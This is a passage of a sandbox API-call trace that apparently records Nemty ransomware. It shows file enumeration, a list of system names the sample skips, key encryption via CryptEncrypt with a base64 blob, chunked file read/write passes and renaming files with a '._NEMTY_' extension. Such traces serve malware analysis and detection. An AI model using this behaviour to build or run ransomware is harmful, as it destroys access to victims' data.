| out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.000] CloseHandle (hObject=0xffffffff) returned 0 [0095.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0095.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0095.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.000] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv._nemty_kgobjgd_")) returned 0 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.000] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2=".") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="..") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="...") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="windows") returned -1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="$RECYCLE.BIN") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="rsa") returned -1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="NTDETECT.COM") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="ntldr") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="MSDOS.SYS") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="IO.SYS") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="boot.ini") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="boot.ini") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="ntuser.dat") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="desktop.ini") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="CONFIG.SYS") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="RECYCLER") returned -1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="BOOTSECT.BAK") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="bootmgr") returned 1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="programdata") returned -1 [0095.001] lstrcmpiW (lpString1="play-background.png", lpString2="appdata") returned 1 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-background.png", lpUsedDefaultChar=0x0) returned 19 [0095.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0095.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-background.png", lpUsedDefaultChar=0x0) returned 19 [0095.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0095.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-background.png", lpUsedDefaultChar=0x0) returned 19 [0095.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-background.png", lpUsedDefaultChar=0x0) returned 19 [0095.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0095.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0095.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0095.002] Sleep (dwMilliseconds=0x5) [0095.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec481bd0, dwHighDateTime=0x1d561e7)) [0095.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec481bd0, dwHighDateTime=0x1d561e7)) [0095.017] GetLastError () returned 0x5 [0095.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.017] GetLastError () returned 0x5 [0095.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.018] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0095.018] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="n5gsgEbjfO+bkf/mAzWkx/Jp+Pw2VosMfHM39+1Pm358XQtCHuQxgu4nSeH1Il51\r\ndo13FYA700u6LWs+nC76d64h7VgIbgTBi7ISrI9nbaWvajECV3zQAH66/c1hCfYl\r\nd5iq9hiZus3TZqgDZbAMNHX8MWMWFUYwz5opC6x1oZV2hGrvGBOtduWqfe0AY/YA\r\nt60etdUHbcSul4jRaMjaUI503PVOJLlQn/Vy/P3xyCdiSAsvIr/TP6jPGn3b69us\r\n7vkbhLFkZU+F0byBhPz98X5XsSF7Z59DPWHTdB5aPfbldaExXFozNAu72LK7YZls\r\ndNI6L6ELEhfF8cQ+E8Ueag==\r\n", pcchString=0x653e91c) returned 1 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.018] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 